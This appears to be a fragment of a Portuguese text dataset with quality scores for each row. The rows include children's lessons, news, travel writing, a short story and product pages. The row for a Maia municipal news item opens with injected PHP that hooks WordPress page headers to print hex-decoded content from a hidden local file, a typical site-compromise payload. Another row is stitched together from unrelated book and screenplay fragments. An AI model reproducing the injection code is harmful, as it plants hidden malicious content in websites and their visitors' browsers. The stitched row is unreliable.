+A literatura brasileira é um presente para todos nós. Ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. Então, que tal começar a explorar esse mundo mágico agora mesmo? Peça para seus pais ou professores indicarem livros de autores brasileiros e preparem-se para uma aventura inesquecível! Qual personagem da literatura brasileira você mais gostaria de conhecer e por quê? Compartilhe suas ideias e vamos juntos celebrar a riqueza da nossa cultura!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional. Introduz a literatura brasileira de forma lúdica e envolvente, utilizando personagens do folclore nacional. Estimula a imaginação, a leitura e o conhecimento da cultura brasileira, sendo adequado para os anos iniciais do ensino fundamental. A linguagem é acessível e o conteúdo é relevante, incentivando a criação e a reflexão.",5,1.0
+"Repasso, com prazer, matéria do jornal o povo, suplemento Vida e Arte, sobre o último trabalho do cineasta Heraldo Cavalcanti - o curta, Fractais Sertanejos - que recebeu o Prêmio do Centro Técnico Audiovisual (CTAV), do Ministério da Cultura (MinC), e um troféu dado pelo Centro Cineclubista de São Paulo.
+No curta-metragem Fractais Sertanejos, o cineasta cearense Heraldo Cavalcanti expõe a arte e a filosofia por trás da obra de João Batista dos Santos, o Janjão
+Nesse retorno, Janjão, como é mais conhecido, decidiu fazer uma reavaliação de tudo que havia feito até ali e renasceu decidido a se tornar artista. Hoje, aos 53 anos, sua história está registrada no curta-metragem Fractais Sertanejos, do cearense Heraldo Cavalcanti. O filme foi eleito pelo público um dos dez melhores no 20º Festival de Curtas Metragens de São Paulo, recebeu o Prêmio do Centro Técnico Audiovisual (CTAV), do Ministério da Cultura (MinC), e um troféu dado pelo Centro Cineclubista de São Paulo.
+Entre janeiro e agosto de 2007, as filmagens de Fractais Sertanejos passaram por Fortaleza, Aurora e São Paulo, onde o escultor morou e trabalhou. Com 19 minutos, o filme foi pensado, inicialmente, para compor, com outros três personagens, um episódio do DOC TV, programa do Ministério da Cultura, sobre a produção tradicional do Cariri. Mesmo não tendo entrado para a série, Heraldo sabia que tinha um bom material em mãos, principalmente a parte que falava de Janjão. Por isso, decidiu transformá-lo num curta.
+- Antes de Fractais Sertanejos, Heraldo Cavalcanti dirigiu os curtas Confiança (2002) e A insuportável comedora de chocolates (2003). Também dirigiu na TVC o programa Cultura em Cena. Atualmente, ele trabalha no curta A casa das horas, com a participação da atriz Nicette Bruno.
+- Informações sobre os bastidores e cenas excluídas de Fractais Sertanejos estão sendo postadas no blog anitracinematv.blogspot.com",original,original,original,original,2,0.4
+"if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Abril na Maia - artesentreasletras.com.pt
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+Para assinalar os 48 anos da Revolução dos Cravos, a Câmara Municipal da Maia tem um programa que inclui teatro, cinema, uma exposição e apresentação de um livro sobre Zeca Afonso.
+O Teatro Art’Imagem leva ao palco do Grande Auditório do Fórum da Maia o Tríptico Teatral – “A Identificação de um (o meu) País, com exibições na quinta-feira, dia 21, “O fascismo (aqui) nunca existiu”; no sábado, dia 23, “Os anos que abalaram o (nosso) mundo!”; e no dia 25 de abril, segunda-feira, “Ai o medo que (nós) temos de existir!”, terceira e última parte que estreou o mês passado na Quinta da Caverneira. Todas as peças são de entrada livre.
+No Auditório Venepor, o Cineclube da Maia também se associa ao aniversário do 25 de abril de 1974 com a exibição do filme “Prazer, Camaradas!”, de José Filipe Costa.
+A Biblioteca da Maia assinala o Dia da Liberdade lembrando o cantor-compositor mais identificado com a data, José Afonso, mais conhecido por Zeca Afonso. “José Afonso – Geografia de uma vida”, em parceria com a Associação José Afonso a Biblioteca tem ao dispor uma exposição que tem como objetivo dar a conhecer e ilustrar os locais onde José Afonso viveu. Regista sucintamente os locais que marcaram o mapa de Zeca Afonso e assim, também, a cronologia da sua vida. Na segunda-feira, 25 de abril, às 17h30 a Biblioteca Municipal Maia, promove a apresentação do livro “JOSÉ AFONSO – Todas as canções”, «”José Afonso é o nosso maior cantor de intervenção!”
+Quem Somos
+As Artes entre As Letras” é um jornal quinzenal que nasce em Maio de 2009 para florir entre debates de ideias, da História e do Património, das Artes Plásticas e da Arquitectura, da Música e da Ciência, da Filosofia e da Literatura, do Teatro e do Cinema, da Dança e da Fotografia, mas também da Lusofonia e do Ensino e Educação.",original,original,original,original,1,0.2
+"Föhr, a ilha verde no Mar do Norte | Conheça os destinos turísticos mais famosos da Alemanha | DW | 02.07.2005
+Pouca terra fora do alcance da água
+""Hoje o tempo está bom, ou seja, o que as pessoas consideram bom. Está fazendo sol. No mais, o forte vento impede as pessoas de passear pela praia e as obriga a andar rente às casas. A vista da minha janela é sempre encantadora: as ondas trazendo a espuma até a margem, os barcos, as gaivotas dançando sobre a água e inúmeras crianças com capuzes vermelhos e brancos construindo castelos de areia.""
+Pôr-de-lua à beira-mar
+""Está sendo uma estadia muito agradável, nada de feio ou irritante. Só o tempo mesmo é que resolveu me contrariar..."" Foi assim que o escritor realista alemão Theodor Fontane descreveu a ilha de Föhr, no Mar do Norte, à sua mulher, Emilie, numa carta datada de 27 de agosto de 1891.
+À mercê do vento e da maré
+Ou seja, já naquela época, mesmo em pleno verão, a única coisa a se reclamar do Mar do Norte era o tempo. De fato, independentemente da estação, o vento é uma constante no arquipélago das ilhas frísias, bastante expostas à ação eólica e marítima. Se não fossem os diques, as ilhas – que mais se assemelham a bancos de areia à mercê da maré – não seriam habitáveis.
+Maré cheia numa praia de Föhr
+Föhr é a ilha mais discreta das ilhas frísias do norte: menos pitoresca e turística que Sylt, a chamada ""pérola do Mar do Norte"", e menos idílica que Amrum, com suas amplas dunas e imensas praias. Föhr é considerada ideal para famílias com filhos pequenos, pois a ilha praticamente não tem mar aberto, por causa de sua proximidade do continente e de sua localização entre Sylt e Amrum.
+Caminhada pelo estuário de Föhr, à noitinha
+Travessia do mar, a pé
+Apesar de não ser nada para surfistas (a não ser windsurfistas, que sempre podem contar com o vento), Föhr oferece um outro programa, justamente por estar tão longe do alto-mar: uma longa caminhada pelo estuário até o continente ou até a ilha de Amrum. Quando a maré baixa, é possível percorrer os bancos de areia cobertos de água durante a maré cheia. O importante é se munir de galochas e ter um guia que conheça bem os itinerários, pois não é de se subestimar o risco de ser surpreendido pela maré cheia no meio do caminho.
+Ferry-boat de Dagebüll, no continente, a Wyk, em Föhr
+Por ser menos exposta à erosão que as vizinhas, Föhr é uma das ilhas mais verdes do arquipélago. A agricultura também desempenha um papel econômico relevante, o que torna o ambiente menos turístico e mais ""autêntico"". Além da cidade de Wyk, onde se localiza o porto, Föhr tem 16 vilarejos originariamente rurais, cujas casas foram sendo compradas nas últimas décadas, sobretudo por alemães de Hamburgo.
+Casa frísia, telhado de junco
+A vila de Nieblum, em Föhr
+Os novos moradores se preocuparam de forma geral em manter a arquitetura original. As casas de fazenda, que originariamente incluíam moradia e estábulo em um único edifício, foram mantidas no formato original. Verdadeiramente típico é o telhado das casas frísias, feito de feixes de junco, como as casas dinamarquesas. Aliás, a Frísia do Norte é, em parte, alemã, e em parte, dinamarquesa.
+Velho moinho de vento, em Föhr
+Assim como nas demais ilhas frísias, a melhor forma de explorar Föhr é de bicicleta. A proximidade dos vilarejos permite que os ciclistas percorram a ilha toda, fazendo pausas de descanso e intervalos para refeições em cenários idílicos. Uma bebida típica é o chá frísio, uma mistura de diversos tipos de chá preto (assam, darjeeling, ceilão), a ser preparado com pedrinhas de açúcar e um pouco de creme de leite.
+Gotinger Kliff, em Föhr
+Vida e morte, por escrito
+Uma absoluta peculiaridade cultural de Föhr é o cemitério da Igreja de São Lourenço, na vila de Süderende. Suas lápides não contêm apenas nomes e datas de nascimento e morte, mas também longas descrições biográficas. A mais famosa delas é a do capitão Matthias Petersen, nascido em 24 de dezembro de 1632 e morto em 16 de setembro de 1706: ""Ele sa...",original,original,original,original,3,0.6
+"Era um rancho de dois alqueires, na margem direita do rio, com um velho casebre perto do barranco. Nas minhas férias, papai sempre me levava lá. Ele gostava de ficar estirado em uma poltrona, ouvindo os sons da natureza e fumando um cachimbo, enquanto eu arrumava algo para fazer.
+Descontando o assobio dos canários e dos bem-te-vis que viviam na mata, tudo ao redor era muito quieto. Quase podíamos ouvir as águas descendo o rio. E então o meu pai, de pé na ribanceira, gritou para a outra margem: “Eco!”.
+Imediatamente uma voz emergiu do meio das árvores, sobrepondo-se à dele com um mínimo de atraso: “Eco!”.
+Olhei espantado para a densa floresta do outro lado do rio e perguntei: “Quem mora lá?”. E ele, sorrindo, passou a mãos nos meus cabelos: “Ah, é um outro homem. E ele também tem um filho, igual a nós dois”.
+“Eia!”, gritou novamente. E imediatamente aquele homem do outro lado gritou também. Resolvi experimentar, juntando todo o ar que pude nos meus pulmões: “Cadê vocês?”. E logo ouvi uma voz idêntica gritar para mim: “Cadê vocês?”.
+“Estamos aqui!”, tornei a berrar.
+E o menino do outro lado repetiu: “Estamos aqui!”
+Maravilhado, perguntei a papai: “Posso ir lá brincar com ele?”.
+“Oh, não! Você não o veria”.
+Aquilo me entristeceu.
+“Mas eles estão lá, fazendo as mesmas coisas que fazemos aqui, eu e você”, disse papai.
+“Eles também pescam? E o menino corre? Será que tem amigos?”. Eu fazia muitas perguntas ao meu velho paizinho. “Tenho certeza que sim”, disse ele. “Fazem tudo isso e muito mais”, falou, sorrindo e me abraçando.
+Essas são as lembranças mais vivas que tenho dele. Já faz tanto tempo! Mas no rancho, nada mudou. O rio continua aqui, imenso e silencioso. E a outra margem permanece lá, misteriosa, com as mesmas árvores de sempre ocultando o que quer que haja por trás delas.
+Eu já não sou mais aquele menino. Porém, como não há mais ninguém aqui para achar estranho, resolvo gritar:
+“Eco!”.
+E, ao mesmo tempo, do fundo daquela mata na outra margem, eis que a voz me responde: “Eco!”. Não mais a voz do menino de outrora, mas, inquestionavelmente, a voz das minhas lembranças. A voz do meu pai.
+Eu gostaria muito de ir para lá, abraçá-lo como antes, e dizer que o amo, como eu nunca disse. Aproveito o momento e grito outra vez: “Eu amo você!”.
+E sou logo correspondido: “Eu amo você!”.
+Hoje eu sei que é inútil atravessar o rio e explorar a outra margem. Não haveria nada lá, pois o que eu mais procuro acabaria se transferindo para a margem oposta, onde agora me encontro. “Ainda assim, eu queria o seu abraço”, penso sozinho.
+E do outro lado do rio, sem que eu veja, ele me vê. Sentado na poltrona, sorrindo com um cachimbo no canto boca. “Algum dia, filho. Algum dia...”.
+Postado por L.F. Riesemberg às 12:09 PM
+Marcadores: L.F. Riesemberg
+4 comentários:
+Felipe Bandeira junho 28, 2017 12:52 PM
+Simplesmente lindo! Amei este conto. Aliás, todo o trabalho realizado no blog é digno de apreço e notabilidade. Parabéns. Inspiro-me em ti para criar os meus próprios relatos.
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+Onii-chan dezembro 01, 2017 11:32 AM
+Achei o conto bem emocionante,tendo um ótimo desfecho e um desenvolvimento maravilhoso. E pensar na outra margem do rio é um sentimemto bom, a parte em que ele fala que não adiantaria ir para a outra margem é emocionante te fazendo ver que mesmo depois de descobrir o que é um eco ele ainda tem esperanças que seja seu pai
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+Unknown junho 25, 2018 11:31 PM
+Ah, que conto gostoso pra se ler antes de dormir... Leve e carinhoso.
+Gostei bastante!!
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+Débora Miranda janeiro 05, 2022 5:35 PM
+Ola. Esse conto foi tirado de um livro?
+Quando eu era criança eu tinha um livro de contos, e na lista havia um sobre Eco...maw nao sei se é este. Obrigada
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+C...",original,original,original,original,3,0.6
+"Olá, pequenos exploradores da história! Já pensaram como seria legal ter uma máquina do tempo? Infelizmente, ainda não temos uma, mas podemos usar outra ferramenta incrível para viajar pelo passado: a linha do tempo! 
+
+A linha do tempo é como um mapa gigante que nos ajuda a organizar os acontecimentos, mostrando o que aconteceu primeiro, o que veio depois e assim por diante. É como se fosse uma régua gigante que mede o tempo, desde o passado bem distante até o presente, o agora. 
+
+Imagine que você quer contar a história do seu dia. Primeiro, você acordou, depois tomou café, foi para a escola, brincou no recreio e, finalmente, voltou para casa. Se colocássemos tudo isso em uma linha do tempo, veríamos a ordem em que as coisas aconteceram. Começaríamos com ""Acordei"" lá no início da linha e terminaríamos com ""Voltei para casa"" no final. 
+
+Na história do Brasil, a linha do tempo também nos ajuda a entender como o país se formou. Podemos colocar nela momentos importantes como a chegada dos portugueses, a declaração da Independência, a abolição da escravidão e a proclamação da República. Assim, fica mais fácil entender a sequência dos fatos e como um acontecimento influenciou o outro. 
+
+Por exemplo, a chegada dos portugueses em 1500 está bem no comecinho da linha do tempo do Brasil. Depois de muitos anos, em 1822, Dom Pedro I declarou a Independência, um momento super importante que colocamos mais à frente na linha do tempo. E, mais para frente ainda, em 1888, a Princesa Isabel assinou a Lei Áurea, acabando com a escravidão. Viu como a linha do tempo nos ajuda a organizar tudo? 
+
+Usar a linha do tempo é super divertido! Você pode criar a sua própria linha do tempo com a história da sua família, com fotos e desenhos. Ou, quem sabe, fazer uma linha do tempo sobre os seus personagens favoritos dos livros! 
+
+Agora, pense um pouquinho: se você fosse colocar um evento importante da sua vida na linha do tempo, qual seria? E por quê? Descobrir a história é como montar um grande quebra-cabeça, e a linha do tempo é uma ferramenta essencial para entendermos o nosso passado e construirmos um futuro ainda melhor!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de linha do tempo de forma didática e envolvente, utilizando exemplos práticos e relevantes para o público infantil. A linguagem é acessível e estimula a reflexão, tornando-o adequado para o ensino fundamental. Apresenta coerência e foco no tema, além de incentivar a criação de linhas do tempo personalizadas, o que reforça o aprendizado e a memorização.",5,1.0
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+"A TVI e Iva Domingues continuam de costas voltadas e o facto de a estação ter pedido desculpas pelo sucedido à cidade de Guimarães veio culpabilizar a apresentadora definitivamente.
+Recorde-se que há algumas semanas a profissional, em conversa com Joaquim Letria, no “A Tarde é Sua”, referiu que «Guimarães… Já o Eça [de Queirós] dizia… Só mudam as moscas porque a trampa é sempre a mesma».
+Esta frase, dita acerca de uma conversa sobre o saneamento da cidade minhota, ganhou proporções gigantes nas redes sociais. Iva Domingues é bracarense e há uma espécie de rivalidade (muitas vezes saudável) entre a cidade dos Arcebispos e Guimarães.
+Uma fonte próxima da apresentadora referiu ao Correio da Manhã que mais do que tudo, Iva Domingues está magoada por a TVI não ter saído em sua defesa. «A Iva ficou muito magoada, não só por a TVI ter pedido desculpas pelas palavras dela, mas sobretudo por não a ter defendido. Ela sentiu-se sozinha, isolada, como se tivesse cometido um grande crime», conta.
+A apresentadora está há 15 anos na TVI, desde que coapresentou o “Cocktail Nacional” e agora é apontada à CMTV.
+«A Iva ficou muito magoada, não só por a TVI ter pedido desculpas pelas palavras dela, mas sobretudo por não a ter defendido. Ela sentiu-se sozinha, isolada, como se tivesse cometido um grande crime», avança a mesma fonte ao jornal da Cofina.
+Colaboradora da quatro, Iva só recebe quando trabalha, pois não tem qualquer vínculo à estação. Essa situação está a deixar a apresentadora apreensiva: «A Iva é uma mulher empreendedora e com a Rita [Ferro Rodrigues] criou o blogue Maria Capaz. Mas isso não gera rendimentos, pelo menos até agora: A vida não está fácil para ninguém e a Iva não é exceção».
+Um outro amigo da ex-apresentadora do ‘Extra’ do “Secret Story” afirma que «ela não acha justo o que lhe fizeram. A intenção dela não foi ofender os vimaranenses e nunca esperou que ficasse sozinha na polémica».
+Seguinte: Depois de “Santa Bárbara”, Benedita Pereira quer continuar «a ligação aos Estados Unidos»",original,original,original,original,0,0.0
+"Copyright Esta obra foi postada pela equipe Le Livros para proporcionar, de maneira totalmente gratuita, o benefício de sua leitura a àqueles que não podem comprála, ou aos que pretendem verificar sua
+Vemos uma visão panorâmica da cidade de Belo Horizonte. O nome da cidade aparece no canto da tela. 1. INT - ESCRITÓRIO DE ROBERTO/SACADA - TARDE
+4. FADE IN: Vemos uma visão panorâmica da cidade de Belo Horizonte. O nome da cidade aparece no canto da tela. 1. INT - ESCRITÓRIO DE /SACADA - TARDE ESCRITÓRIO SACADA Mãos digitando no TECLADO de um computador.
+Ahhhhhhhh! A escola inteira se assustou. A professora Graça saiu procurando quem tinha gritado e encontrou a Carolina aos prantos no canto da sala.
+Capítulo 3 O Dia do Benquerer foi um sucesso. Tudo correu às mil maravilhas com as crianças, as atividades, os brinquedos, os bichos de estimação. E, no final do dia, a escola estava preparada para a premia��ão
+* Jersey Joe Wolcott (1914-1994): famoso lutador de boxe, campeão por diversas vezes na categoria dos pesos pesados. (N.T.)
+1 Cheguei a Nova Orleans às cinco da manhã, debaixo de chuva. Sentei-me nas proximidades da rodoviária por um tempo, mas as pessoas me deprimiam de tal maneira que peguei minha mala, enfrentei a chuva",original,original,original,original,3,0.6
+"Acordou sentindo-se vazia de paixão. Folha em branco sem a alegria por estar viva e ter um dia a sua frente. Um vazio esquisito de rajada no peito e na barriga, vento varrendo a praça. Nem precisa despencar em um buraco sem fundo para vivê-lo, ela era o buraco.
+Pensa em Frida Khalo, pintora mexicana que a impressionava pela obra, mas também pela vida trágica. Por que Frida Khalo lhe vinha agora? Talvez porque Frida Khalo sofreu de tudo, lhe parecia, menos de falta de paixão.
+Acabara de reler o livro ""Frida Kahlo e Diego Rivera"", de Isabel Ancântara e Sandra Egnolff. O último quadro de Frida, uma celebração à vida. Natureza morta _ melancias partidas vermelho e verde, contra o fundo azul e branco de céu e nuvens. Em uma das frutas pintadas a artista escreveu ""VIVA LA VIDA"".
+Naquela manhã vazia a mulher envereda pelo diário de Frida, escrito entre 1946 a 54, ano de sua morte, aos 47 anos.
+Em 1953, após ter amputada a perna direita, em consequência do desastre de ônibus na adolescência, Frida desenha pés e uma perna como uma coluna grega. Da perna saem galhos de roseira, espinhos sem rosas. A pintora escreveu nessa página:
+""Pies, para qué los quiero
+Si tengo alas pa' volar"".
+Frida precisava dos pés e das asas, pensa a mulher. Não se pode escolher entre uns e outras. Frida não escolheu. Em muitos sentidos a vida a escolheu e a marcou da desmesura das paixões, amores, arte, dor, alegrias e tragédias.
+Como em um sonho se recorda da escolha da pequena sereia que, apaixonada por um humano troca a voz por pernas, para deixar o mar e viver o amor. O que acabaria por matá-la. Sem voz não se pode passar.
+Telefona para a filha que, com dor de cabeça, diz que lhe ligaria no dia seguinte. Coloca um lagarto na panela de ferro para cozinhar. Perde os óculos, barata tonta, acha os óculos. Atende o telefone, engano. O buraco permanecia. Almoça e ele não some. Chove lá fora, e dentro uma secura. Precisa sair pagar contas, passar na lavanderia, na casa de consertos, no super mercado, muidezas necessárias. Uma preguiça.
+Frida Kahlo dizia das duas tragédias de sua vida _ o desastre de ônibus e Diego Rivera.
+No desastre Frida foi empalada pela própria costela, quebrou a bacia e teve mutilada irremediavelmente uma das pernas. A direita. Sofreu abortos, não conseguiu gerar um filho.
+Diego foi uma tragédia porque o amou perdida e apaixonadamente. Retribuída e admirada pelo marido como mulher e artista, mas Diego sofria de uma atração incurável por outras mulheres, pelas quais também se apaixonava. O muralista conta em sua auto-biografia que quanto mais amava uma mulher, mais precisava maltratá-la, e que fria foi a maior vítima desse seu desvio de caráter. Rivera e Khalo se separaram. E se casaram por uma segunda vez.
+Em um de seus auto-retratos Frida pinta um beija-flor no lugar das sombrancelhas. Suas sobrancelhas perfeitas, negras e espessas lembravam as asas de um pássaro. Ferido.
+Após o acidente de ônibus podia apenas ficar deitada, era uma adolescente cheia de vida, e sentia um tédio desesperado, que narrou em cartas para o namorado, Alejandro Gómez Arias. O rapaz foi mandado para a Europa pelos pais, que o quiseram afastar de Frida. O que a salvou foi a idéia da mãe de dar-lhe material para pintar. Frida lia sobre história da arte e pintava, foi auto didata.
+Ao deixar o hospital, Frida Khalo recuperou-se na Casa Azul, onde nasceu, e mais tarde em seu casamento voltou a viver ali com Diego. Morreu na casa em que nasceu.
+Nos sobre-olhos de alguns auto-retratos a imagem de Diego, como um terceiro olho. Em outros Khalo pinta lágrimas, ou se mostra ferida _ uma corça cravada de flexas com o rosto humano, aquelas sombracelhas, impressão digital. Retratando seu sofrimento Frida revela e resvala no sofrimento humano.
+A chuva fina afina o frio. Troca de roupa, passa um baton, talvez faça as unhas e arrume o cabelo. A pequena mulher mergulhada nas pequenas tragédias cotidianas, faz uma prece ao deus das pequenas coisas. A rajada nas entranhas se torna um ar...",original,original,original,original,2,0.4
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+"Agrícola. Na segunda metade do século XV, Rudolph Agricola foi uma influencia dominante na transferência do Renascimento da Itália para a Europa setentrional, e considerado um precursor do New Learning, devotio moderna, Conhecimento Novo, movimento que se desenvolveria no século seguinte com Erasmo, Vives, Vergara, Adriano VI e Melanchton, entre outros. Agricola era homem de múltiplos talentos, interessando-se desde a literatura até os estudos sobre jazidas minerais. Depois de estudar latim e Grego na Itália por dez anos, ele teve papel importante na introdução do Grego na educação alemã. Era um músico erudito e talentoso cantor. Não só construiu um órgão, como também é citado como hábil pintor.
+Após retornar à Holanda em 1480, Agricola decidiu viajar mais uma vez a Heidelberg onde formaria um círculo de seguidores.
+Para Agricola não poderia haver conflito entre a erudição humanista e a religião. De Formando Studio, uma carta de Agricola para seu amigo Barbirianus, expressava a crença de que as letras eram importantes para a boa conduta. O caráter era moldado e fortalecido pelo estudo dos sábios da Antigüidade. Além do seu conhecido De Re metalica, Agricola também produziu um manual de lógica muito apreciado por Melancthon. De Inventione Dialectica salientava que o sucesso do discurso depende da inteligibilidade do orador, da razão na questão, e de uma atitude favorável por parte do ouvinte. Tinha a Lógica como um instrumento de prova.",original,original,original,original,4,0.8
+"Os dog walkers em Centro são treinados para passeios com cachorros com base em nossos certificados internacionais de dog walker.
+Passeio para Gato em Centro - RJ
+Parque Santo Amaro - Campos dos Goytacazes - RJA 1.56 km de você
+São coletadas diversas informações, e inclusive é feita checagem de histórico criminal de cada dog walker. Os dog walkers de Centro foram também certificados pela Dra Carol Rocha, fundadora da Pet Anjo, para passearem com cachorros.
+Todo o curso tem base em nossos certificados internacionais de dog walker e primeiros socorros para animais. Os dog walker de Centro são passeadores de cachorros profissionais e de confiança. Ele poderá passear no seu bairro Centro - RJ por uma hora ou mais.
+O serviço de dog walker da Pet Anjo é oferecido pertinho de você, no Centro - RJ Dog walker: encontre agora o seu!",original,original,original,original,2,0.4
+"a minha foi quando o jesse anderson aparece axo ke e a ultima mas, por enquanto é essa ainda vou no episodio 75
+A minha foi a da yubel, achei interessante um espirito d monstro reevoltar-se contra o seu antigo dono e dar no que deu
+Acabei de ve Yu-Gi-Oh no passado Sábado, e posso dizer que a minha temporada favorita foi sem dúvida a última, e aquele final foi simplesmente fantástico. O duelo contra o Yu-Gi tá nos meus 5 duelos favoritos.",original,original,original,original,1,0.2
+"Não deixe de participar do debate, envie as suas perguntas para o e-mail [email protected] até às 12h do dia 26 de junho de 2012. Sua participação é fundamental para que os candidatos possam se apresentar, colocar os seus objetivos e sanar as dúvidas de todos.
+O Debate será um espaço amigável, respeitoso e imparcial, foi criado para que você, participante da ELOS, possa conhecer melhor os candidatos a este cargo e suas plataformas eleitorais.
+O debate será realizado no Auditório da Sede da Eletrosul, dia 27/06, das 9h30 às 11h30. Contamos com a sua participação e sua presença. Mas, atenção! Não será possível realizar perguntas durante o debate!
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+Somos uma Entidade Fechada de Previdência Complementar (EFPC), sem fins lucrativos, com autonomia administrativa e financeira. Por não visarmos lucro e contarmos com um time eficiente e comprometido, podemos oferecer uma das menores taxas administrativas do mercado de previdência. Outro diferencial é o atendimento próximo e acolhedor. Nossa motivação é sonhar um futuro próspero junto com você.
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+Horários de atendimento em dias de jogos do Brasil
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+"Funko Pop: Novas Versões do Batman para comemorar os seus 80 anos — Pausa para Nerdices
+Brinquedo — Clay Oliveira — Novidade
+O Batman completou 80 anos, da sua estreia nos quadrinhos, no dia 30 de março. Nosso herói apareceu pela primeira vez na Detective Comics em 1939. E para comemorar o aniversario do Cavaleiro das Trevas, a linha Pop da Funko irá lançar duas versões para os fãs. Teremos um Conde Drácula para proteger Gotham City e também uma versão do Batman Forever 1995 (pronto para enfrentar o Two-Face e o Riddler)
+Vai querer esses colecionáveis na sua estante?
+Mais do Batman
+Batman é um super-herói da DC Comics. Foi criado pelo escritor Bill Finger e pelo artista Bob Kane, e apareceu pela primeira vez na revista Detective Comics #27 (A capa foi assinada para Maio de 1939). Originalmente com o nome “o Bat-Man”, o personagem também é conhecido pelos nomes “o Cruzado de Capa” (The Caped Crusader), “o Cavaleiro das Trevas” (The Dark Knight), e “o Maior Detective do Mundo” ( The World’s Greatest Detective).
+A identidade secreta de Batman é Bruce Wayne, um bilionário americano, playboy, magnata de negócios, filantropo e dono da corporação Wayne Enterprises. Depois de testemunhar o assassinato dos seus pais enquanto criança, Wayne jurou vingança contra os criminosos, um juramento moderado por um sentido de justiça. Wayne treina então a si próprio, tanto física como intelectualmente, e cria uma persona inspirada no morcego para combater o crime. Batman opera na cidade de Gotham City, e é ajudado por outros personagens incluindo o seu mordomo Alfred Pennyworth, o comissário da policia Jim Gordon, e outros aliados vigilantes como Robin. Ao contrário da maior parte dos super-heróis, Batman não tem superpoderes; faz uso do seu intelecto de gênio, da sua perícia em artes marciais, da sua destreza física, das habilidades de detective, da ciência e da tecnologia, da sua riqueza, da sua provocação ao medo e intimidação e uma vontade indomável na sua guerra contínua contra o crime. Uma grande variedade de vilões compõem a galeria de inimigos do Batman, incluindo seu arqui-inimigo Coringa. (fonte)
+Clayci Oliveira 63
+Leia mais sobre Batmancolecionáveisdc comicsFunko Pop
+Harry Potter e o Cálice de Fogo edição ilustrada ganha prévia em vídeo!",original,original,original,original,3,0.6
+"Vale a pena pagar mais de 1000 Euros pelo Huawei Mate 20 Pro? - Leak
+Caminhamos a passos largos para 16 de Outubro, a data de oficialização do Huawei Mate 20 Pro, um equipamento que pode custar mais de 1000 Euros em todo o mundo, inclusive Portugal. Vale a pena?
+Mas quais as razões que levam a este preço elevado?
+Quando falamos na linha Mate falamos sempre de equipamentos de topo com tecnologias inovadoras. De facto, marcam a estreia de algumas tecnologias e especialmente chipsets que depois chegam a outras linhas da marca.
+A aposta deste ano concentra-se em quatro coisas essenciais:
+O novo chipset da Huawei
+As novas câmaras com tecnologias inovadoras
+Uma bateria ainda mais potente com uma nova tecnologia de carregamento.
+Kirin 980: O novo chipset da Huawei que dá vida ao Mate 20 Pro
+O Kirin 980 é o primeiro processador baseado no processo de fabrico de 7nm! Existem mais de 6.9 mil milhões de transistores por centímetro quadrado, o que é sem qualquer dúvida um feito impressionante! Neste pequeno chipset existe um novo CPU, GPU e ainda uma NPU melhorada, entre outros componentes.
+Em suma, o Kirin 980 é muito mais poderoso e eficiente do que a geração passada da Huawei.
+Ao nível do desmpenho, o novo Kirin 980 conta com os mais recentes núcleos de alta performance da ARM, os Cortex-A76! Em paralelo, também conta com 4 núcleos Cortex-A55 de baixo consumo energético, para tarefas menos pesadas. Visto que o ‘velhinho’ Kirin 970 conta com núcleos de alta performance Cortex-A73, este é o primeiro processador da Huawei capaz de utilizar a tecnologia ‘DynamIQ’ da ARM! Assim consegue utilizar todos os 8 núcleos num potentíssimo cluster.
+Escusado será dizer que com tudo isto o novo Mate 20 terá um excelente desempenho!
+É preciso também mencionar que o Kirin 980 conta com o novo GPU topo de gama da ARM. O Mali-G76, que deverá contar com um aumento de performance na ordem dos 46%, bem como uns impressionantes 178% de aumento na eficiência energética.
+As câmaras: embora triplas têm uma configuração diferente da que encontramos no Huawei P20 Pro
+A configuração de câmara tripla supostamente vai abrir mão da objetiva telefoto que estava presente na configuração do Huawei P20. Ao invés disto teremos uma lente ultra grande-angular. Lembramos que a configuração do P20 Pro tem uma lente telefoto de 8 megapixéis, outra RGB de 40 e outra monocromática de 20.
+A câmara terá uma capacidade inteligente de Zoom apoiada por inteligência artificial. Não é a primeira vez que ouvimos falar disto, até porque já tinha havido uma fuga de informação neste sentido.
+Ao nível das câmaras na parte frontal, haverá um sensor principal de 24 megapixéis no Mate 20 Pro. Destaca-se ainda o reconhecimento facial 3D (que deverá funcionar em meio segundo). Para além disso teremos ainda um sensor de impressões digitais no ecrã.
+Ao nível das câmaras queremos dizer ainda que os utilizadores vão poder capturar vídeo com um efeito bokeh artificial que também pode ser utilizado nas fotografias.
+Bateria: Alto-desempenho com uma nova tecnologia de carregamento
+A bateria de 4,200mAh vai carregar 70% em apenas 30 minutos, graças ao SuperCharge 2.0. Isto é uma melhoria de 20% comparativamente ao Mate 10. Destaca-se também a existência de um carregador sem fios de 15W no Mate 20 e Mate 20 Pro.
+Ou seja, olhando para tudo o que revelámos nas linhas anteriores, é fácil perceberemos que o Mate 20 Pro será eventualmente um dos equipamentos mais inovadores de sempre. Não é que o Mate 10 Pro não o tenha sido com a introdução da inteligência artificial aplicada à câmara e não só.
+No entanto, olhando para o bolo todo, percebemos que este tem ainda mais motivos para brilhar e como tal justificar um investimento na ordem dos 1000 Euros.
+A versão mais cara terá 8GB de RAM e uma capacidade de armazenamento de 512GB, o que é sem dúvida fantástico.",original,original,original,original,2,0.4
+"Trabalho Interdisciplinar de Microeconomia (1) | Demanda | Esmalte
+saveSave Trabalho Interdisciplinar de Microeconomia (1) For Later
+Analise de Demanda - PÚBLICO - V_marco 2010
+Ch31 Oferta e Demanda Agregadas
+Exercicios de Eco Org
+Atividade de Casa Aula 2 Respostas .Docx
+Capitulo 4 - Damanda - MRP
+Lista de exerc+¡cios - 2
+Introduo: Este trabalho tem como foco principal o fornecimento de informaes sobre a demanda e a oferta de esmaltes no Brasil.
+Porm, sero abordados brevemente assuntos relacionados ao tema, como o mercado.
